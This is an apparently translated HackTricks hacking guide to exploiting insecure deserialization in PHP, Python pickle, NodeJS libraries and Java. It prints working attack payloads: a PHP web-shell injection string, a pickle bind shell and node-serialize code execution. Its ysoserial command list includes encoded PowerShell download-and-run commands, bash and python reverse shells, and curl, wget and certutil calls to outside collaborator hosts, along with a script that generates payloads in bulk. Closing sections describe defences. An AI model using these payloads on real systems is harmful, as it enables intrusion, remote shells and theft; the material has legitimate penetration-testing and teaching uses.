Deserialization

Reading time: 45 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Serialization word verstaan as die metode om 'n objek in 'n formaat om te sit wat bewaar kan word, met die doel om die objek te stoor of te stuur as deel van 'n kommunikasieproses. Hierdie tegniek word algemeen gebruik om te verseker dat die objek later weer geskep kan word, met behoud van sy struktuur en toestand.

Deserialization, daarenteen, is die proses wat serialization teengaan. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer te rekonstrueer in 'n objek.

Deserialization kan gevaarlik wees omdat dit moontlik aanvalers toelaat om die serialized data te manipuleer om skadelike kode uit te voer of onverwags gedrag in die toepassing te veroorsaak tydens die objekherstelproses.

PHP

In PHP word spesifieke magic methods gebruik tydens die serialization en deserialization prosesse:

  • __sleep: Word aangeroep wanneer 'n objek serialized word. Hierdie metode moet 'n array teruggee met die name van alle properties van die objek wat serialized moet word. Dit word algemeen gebruik om hangende data weg te skryf of soortgelyke opruimtake uit te voer.
  • __wakeup: Word aangeroep wanneer 'n objek deserialized word. Dit word gebruik om databasisverbindinge wat tydens serialization verlore gegaan het te herstel en om ander herinisiĂ«ringstake uit te voer.
  • __unserialize: Hierdie metode word opgeroep in plaas van __wakeup (indien dit bestaan) wanneer 'n objek deserialized word. Dit gee meer beheer oor die deserialization-proses vergeleke met __wakeup.
  • __destruct: Hierdie metode word opgeroep wanneer 'n objek op die punt is om vernietig te word of wanneer die script eindig. Dit word gewoonlik gebruik vir opruimtake, soos die sluit van file handles of databasisverbindinge.
  • __toString: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n file te lees of ander take uit te voer gebaseer op die funksie-oproepe binne-in, en gee effektief 'n tekstuele voorstelling van die objek.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

As jy na die resultate kyk, kan jy sien dat die funksies __wakeup en __destruct aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat in verskeie tutorials gesĂȘ word dat die __toString funksie aangeroep word wanneer daar probeer word om 'n attribuut te print, maar blykbaar gebeur dit nie meer.

warning

Die metode __unserialize(array $data) word aangeroep in plaas van __wakeup() as dit in die klas geĂŻmplementeer is. Dit stel jou in staat om die objek te deserialiseer deur die geserialiseerde data as 'n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take tydens deserialisering uit te voer.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Jy kan 'n verduidelikende PHP voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Klasse

Jy kan die PHP autoload-funksionaliteit misbruik om arbitrĂȘre PHP-lĂȘers en meer te laai:

PHP - Deserialization + Autoload Classes

Serialisering van Verwysde Waardes

As jy om een of ander rede 'n waarde as 'n verwysing na 'n ander geserialiseerde waarde wil serialiseer, kan jy:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Voorkoming van PHP Object Injection met allowed_classes

info

Ondersteuning vir die tweede argument van unserialize() (die $options array) is bygevoeg in PHP 7.0. Op ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geĂŻnstantieer mag word.

unserialize() sal elke klas wat dit binne die geserialiseerde stroom vind, instansieer tensy anders bepaal. Sedert PHP 7 kan die gedrag met die allowed_classes opsie beperk word:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

As allowed_classes weggelaat word of die kode op PHP < 7.0 loop, word die oproep gevaarlik aangesien 'n aanvaller 'n payload kan saamstel wat magic methods soos __wakeup() of __destruct() misbruik om Remote Code Execution (RCE) te bereik.

Werklike wĂȘreldvoorbeeld: Everest Forms (WordPress) CVE-2025-52709

Die WordPress plugin Everest Forms ≀ 3.2.2 het probeer verdedigend te wees met 'n helper wrapper maar het aan ouer PHP-weergawes vergeet:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≄ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Op bedieners wat nog PHP ≀ 7.0 gebruik het, het hierdie tweede tak gelei tot 'n klassieke PHP Object Injection wanneer 'n administrateur 'n kwaadwillige formuliersubmissie oopgemaak het. 'n Minimale exploit payload kan soos volg lyk:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Sodra die admin die inskrywing bekyk het, is die objek geĂŻnstantieer en SomeClass::__destruct() is uitgevoer, wat gelei het tot arbitrary code execution.

Belangrike punte

  1. Gee altyd ['allowed_classes' => false] (or a strict white-list) wanneer unserialize() aangeroep word.
  2. Kontroleer defensive wrappers – hulle vergeet dikwels die legacy PHP branches.
  3. Om op te gradeer na PHP ≄ 7.x alleen is nie voldoende nie: die opsie moet steeds uitdruklik voorsien word.

PHPGGC (ysoserial for PHP)

PHPGGC kan jou help om payloads te genereer om PHP deserializations te misbruik.
Let daarop dat in verskeie gevalle jy nie 'n manier sal kan vind om 'n deserialization in die bronkode van die toepassing te misbruik nie, maar jy mag in staat wees om die kode van eksterne PHP extensions te misbruik.
Dus, as jy kan, kyk die phpinfo() van die server en soek op die internet (en selfs op die gadgets van PHPGGC) na 'n moontlike gadget wat jy kan misbruik.

phar:// metadata deserialization

As jy 'n LFI gevind het wat net die lĂȘer lees en nie die php kode binne dit uitvoer nie, byvoorbeeld deur funksies soos file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Jy kan probeer om 'n deserialization te misbruik wat plaasvind wanneer 'n file gelees word met die phar protocol.
Vir meer inligting lees die volgende pos:

phar:// deserialization

Python

Pickle

Wanneer die objek unpickle, sal die funksie ___reduce___ uitgevoer word.
Wanneer dit misbruik word, kan die server 'n fout teruggee.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Voordat jy die bypass-tegniek nagaan, probeer om print(base64.b64encode(pickle.dumps(P(),2))) te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.

Vir meer inligting oor ontsnapping uit pickle jails kyk:

Bypass Python sandboxes

Yaml & jsonpickle

Die volgende bladsy beskryf die tegniek om 'n onveilige deserialization in YAML Python libraries te misbruik en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialization payloads te genereer vir Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS het nie "magic" funksies nie soos PHP of Python wat slegs by die skep van 'n objek uitgevoer word. Maar dit het sekere functions wat gereeld gebruik word selfs sonder om hulle direk aan te roep soos toString, valueOf, toJSON.
As jy 'n deserialization misbruik, kan jy hierdie functions kompromitteer om ander kode uit te voer (moontlik deur prototype pollutions te misbruik) en arbitrĂȘre kode uit te voer wanneer hulle aangeroep word.

Nog 'n "magiese" manier om 'n funksie aan te roep sonder om dit direk te noem is deur 'n objek wat deur 'n async function (promise) teruggegee word te kompromitteer. Omdat, as jy daardie return object in 'n ander promise omskep met 'n property genaamd "then" of tipe function, sal dit uitgevoer word bloot omdat dit deur 'n ander promise teruggegee is. Volg hierdie skakel vir meer info.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

As jy meer oor hierdie tegniek wil leer, kyk na die volgende tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Hierdie library maak dit moontlik om funksies te serialiseer. Voorbeeld:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Die geserialiseerde objek sal soos volg lyk:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Jy kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word die _$$ND_FUNC$$_ vlag by die geserialiseerde objek bygevoeg word.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Soos jy in die laaste kode-stuk kan sien, as die vlag gevind word word eval gebruik om die funksie te deserialiseer, dus word basies gebruikersinvoer binne die eval funksie gebruik.

Maar, net serialiseer van 'n funksie sal dit nie uitvoer nie aangesien dit nodig sou wees dat 'n deel van die kode y.rce in ons voorbeeld aanroep, en dit is hoogs onwaarskynlik.
In elk geval, jy kan net die geserialiseerde objek wysig deur sekere hakies by te voeg sodat die geserialiseerde funksie outomaties uitgevoer word wanneer die objek gedeserialiseer word.
In die volgende kode-stuk let op die laaste hakie en hoe die unserialize funksie die kode outomaties sal uitvoer:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Soos vroeër aangedui, sal hierdie biblioteek die kode na _$$ND_FUNC$$_ kry en dit met eval uitvoer. Daarom, om outomatiese kode-uitvoering te bewerkstellig, kan jy die gedeelte wat die funksie skep en die laaste sluitingshakie verwyder en slegs 'n JS oneliner uitvoer soos in die volgende voorbeeld:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Jy kan find here verdere inligting vind oor hoe om hierdie kwesbaarheid te benut.

funcster

'n Noemenswaardige aspek van funcster is die onbereikbaarheid van standaard ingeboude objekte; hulle val buite die toeganklike omgewing. Hierdie beperking voorkom die uitvoering van code wat probeer metodes op ingeboude objekte aanroep, wat lei tot uitsonderings soos "ReferenceError: console is not defined" wanneer opdragte soos console.log() of require(something) gebruik word.

Ten spyte van hierdie beperking is die herstel van volle toegang tot die globale konteks, insluitend alle standaard ingeboude objekte, moontlik deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende kodefragment:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Vir more information read this source.

serialize-javascript

Die serialize-javascript package is uitsluitlik ontwerp vir serialization-doeleindes en het geen ingeboude deserialization-mooglikhede nie. Gebruikers is verantwoordelik om hul eie metode vir deserialization te implementeer. Die amptelike voorbeeld stel 'n direkte gebruik van eval voor vir deserializing serialized data:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

As hierdie function gebruik word om objects te deserialize, kan jy dit easily exploit:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Vir meer inligting lees hierdie bron.

Cryo-biblioteek

Op die volgende bladsye vind jy inligting oor hoe om hierdie biblioteek te misbruik om arbitrĂȘre opdragte uit te voer:

Java - HTTP

In Java word deserialization callbacks uitgevoer tydens die deserialization-proses. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie callbacks aktiveer, wat kan lei tot die uitvoering van skadelike aksies.

Fingerprints

White Box

Om potensiële serialization-kwetsbaarhede in die codebase te identifiseer, soek na:

  • Klasse wat die Serializable interface implementeer.
  • Gebruik van java.io.ObjectInputStream, readObject, readUnshare funksies.

Gee ekstra aandag aan:

  • XMLDecoder gebruik met parameters wat deur eksterne gebruikers gedefinieer word.
  • XStream se fromXML-metode, veral as die XStream-weergawe minder of gelyk is aan 1.46, aangesien dit vatbaar is vir serialization-probleme.
  • ObjectInputStream gekoppel aan die readObject-metode.
  • Implementering van metodes soos readObject, readObjectNodData, readResolve, of readExternal.
  • ObjectInputStream.readUnshared.
  • Algemene gebruik van Serializable.

Black Box

Vir black box-toetsing, soek na spesifieke signatures or "Magic Bytes" wat java serialized objects aandui (wat afkomstig is van ObjectInputStream):

  • Heksadesimale patroon: AC ED 00 05.
  • Base64-patroon: rO0.
  • HTTP-antwoordkoppe met Content-type gestel op application/x-java-serialized-object.
  • Heksadesimale patroon wat vorige kompressie aandui: 1F 8B 08 00.
  • Base64-patroon wat vorige kompressie aandui: H4sIA.
  • Web-lĂȘers met die .faces uitbreiding en die faces.ViewState parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Kontroleer of dit kwesbaar is

As jy wil learn about how does a Java Deserialized exploit work moet jy kyk na Basic Java Deserialization, Java DNS Deserialization, en CommonsCollection1 Payload.

SignedObject-gated deserialization en pre-auth bereikbaarheid

Moderne kodebasisse hou soms deserialisasie in 'n java.security.SignedObject en valideer 'n handtekening voordat getObject() aangeroep word (wat die binneste object deserialiseer). Dit voorkom arbitrĂȘre top-level gadget classes maar kan steeds uitgebuit word as 'n aanvaller 'n geldige handtekening kan bekom (e.g., private-key compromise or a signing oracle). Verder kan fouthandelingstrome session-bound tokens vir unauthenticated users skep, wat andersins beskermde sinks pre-auth blootstel.

Vir 'n konkrete gevallestudie met requests, IoCs, en hardening guidance, sien:

Java Signedobject Gated Deserialization

White Box Test

Jy kan nagaan of enige toepassing met bekende kwesbaarhede geĂŻnstalleer is.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Jy kan probeer om check all the libraries wat bekend is as kwesbaar en waarvoor Ysoserial 'n exploit kan voorsien. Of jy kan die libraries kontroleer wat op Java-Deserialization-Cheat-Sheet aangedui word.
Jy kan ook gadgetinspector gebruik om moontlike gadget chains te soek wat uitgebuit kan word.
Wanneer jy gadgetinspector laat loop (na die bou), moenie omgee vir die hoop waarskuwings/foute wat dit deurgaan nie — laat dit net klaar hardloop. Dit sal al die bevindinge skryf onder gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Let asseblief daarop dat gadgetinspector won't create an exploit and it may indicate false positives.

Black Box-toets

Deur die Burp extension gadgetprobe te gebruik kan jy identifiseer which libraries are available (en selfs die weergawes). Met hierdie inligting kan dit easier to choose a payload wees om die kwesbaarheid te exploiteer.
Lees dit om meer te leer oor GadgetProbe.
GadgetProbe fokus op ObjectInputStream deserializations.

Deur die Burp extension Java Deserialization Scanner te gebruik kan jy identify vulnerable libraries wat met ysoserial uitgebuit kan word en dit exploit.
Lees meer oor Java Deserialization Scanner.
Java Deserialization Scanner fokus op ObjectInputStream deserializations.

Jy kan ook Freddy gebruik om deserialization vulnerabilities in Burp te detect. Hierdie plugin sal nie net ObjectInputStream verwante kwesbaarhede opspoor nie maar ook vulns van Json en Yml deserialization libraries. In active mode sal dit probeer om dit te bevestig deur sleep of DNS payloads te gebruik.
Jy kan meer inligting oor Freddy hier vind.

Serialization-toets

Nie alles gaan oor om te kyk of enige kwesbare library deur die server gebruik word nie. Soms kan jy in staat wees om change the data inside the serialized object and bypass some checks (miskien gee dit jou admin privileges in 'n webapp).
As jy 'n java serialized object vind wat na 'n web application gestuur word, kan jy gebruik maak van SerializationDumper om die serialized object wat gestuur word in 'n meer mensleesbare formaat uit te druk. Om te weet watter data jy stuur sal dit makliker maak om dit te wysig en sekere kontroles te omseil.

Exploit

ysoserial

Die hoof hulpmiddel om Java deserializations te exploiteer is ysoserial (download here). Jy kan ook oorweeg om ysoseral-modified te gebruik wat jou toelaat om komplekse commands (byvoorbeeld met pipes) te gebruik.
Let daarop dat hierdie tool gefokus is op die uitbuiting van ObjectInputStream.
Ek sou begin deur die "URLDNS" payload te gebruik voor 'n RCE payload om te toets of die injection moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie maar 'n ander RCE payload wel.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wanneer jy 'n payload skep vir java.lang.Runtime.exec(), kan jy nie spesiale karakters soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei, "$()" om opdragte uit te voer, of selfs argumente aan 'n opdrag geskei deur spasies te gee (jy kan byvoorbeeld echo -n "hello world" doen, maar jy kan nie python2 -c 'print "Hello world"' doen nie). Om die payload korrek te enkodeer kan jy hierdie webblad gebruik.

Voel vry om die volgende script te gebruik om all the possible code execution payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Jy kan https://github.com/pwntester/SerialKillerBypassGadgetCollection gebruik saam met ysoserial om meer exploits te skep. Meer inligting oor hierdie tool in die slides van die praatjie waar die tool aangebied is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialiseringsbiblioteke in Java te exploit.
Om die projek te compile moes ek hierdie afhanklikhede by pom.xml voeg:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installeer maven, en kompileer die projek:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lees meer oor hierdie Java JSON-biblioteek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Waarom

Java gebruik baie serialisering vir verskeie doeleindes, soos:

  • HTTP requests: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, cookies, ens.
  • RMI (Remote Method Invocation): Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afgeleĂ« kommunikasie in Java-toepassings.
  • RMI over HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde thick client web applications, wat serialisering gebruik vir alle objekkommunikasie.
  • JMX (Java Management Extensions): JMX benut serialisering om objekte oor die netwerk te stuur.
  • Aangepaste protokolle: In Java behels die standaardpraktyk die oordrag van rou Java-objekte, wat in komende exploit-voorbeelde gedemonstreer sal word.

Voorkoming

Transient objects

'n Klas wat Serializable implementeer kan enige objek binne die klas as transient merk as dit nie serialiseerbaar behoort te wees nie. Byvoorbeeld:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermy Serialisering van 'n klas wat Serializable moet implementeer

In scenario's waar sekere objekte die Serializable moet implementeer as gevolg van die klas-hiërargie, bestaan daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, maak seker dat hierdie objekte nie-deserialiseerbaar is deur 'n final readObject()-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbetering van Deserialization Security in Java

Customizing java.io.ObjectInputStream is 'n praktiese benadering om deserialization-prosesse te beveilig. Hierdie metode is geskik wanneer:

  • Die deserialization-kode is onder jou beheer.
  • Die klasse wat vir deserialization verwag word, is bekend.

Oorskry die resolveClass() metode om deserialization te beperk tot slegs toegelate klasse. Dit verhoed deserialization van enige klas behalwe dié wat eksplisiet toegestaan is, soos in die volgende voorbeeld wat deserialization slegs tot die Bicycle klas beperk:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement bied 'n terugvaloplossing wanneer kode-wysiging nie moontlik is nie. Hierdie metode is hoofsaaklik van toepassing op blacklisting harmful classes, deur 'n JVM parameter te gebruik:

-javaagent:name-of-agent.jar

Dit bied 'n manier om deserialization dinamies te beveilig, ideaal vir omgewings waar onmiddellike kode-wysigings onprakties is.

Kyk na 'n voorbeeld in rO0 by Contrast Security

Implementering van Serialization Filters: Java 9 het serialization filters via die ObjectInputFilter interface bekendgestel, wat 'n kragtige meganisme bied om kriteria te spesifiseer waaraan serialized objects moet voldoen voordat hulle deserialized word. Hierdie filters kan globaal of per stream toegepas word, en bied fyn beheer oor die deserialization proses.

Om serialization filters te gebruik, kan jy 'n global filter stel wat op alle deserialization operations van toepassing is, of dit dinamies vir spesifieke streams konfigureer. Byvoorbeeld:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Gebruik van Eksterne Biblioteke vir Verbeterde Sekuriteit: Biblioteke soos NotSoSerial, jdeserialize, en Kryo bied gevorderde funksies vir die beheer en monitering van Java deserialization. Hierdie biblioteke kan bykomende sekuriteitslae verskaf, soos whitelisting of blacklisting van classes, ontleding van serialized objects voor deserialization, en die implementering van pasgemaakte serialization strategies.

  • NotSoSerial onderskep deserialization prosesse om die uitvoering van onbetroubare code te voorkom.
  • jdeserialize maak ontleding van serialized Java objects moontlik sonder om hulle te deserialiseer, wat help om moontlik kwaadwillige inhoud te identifiseer.
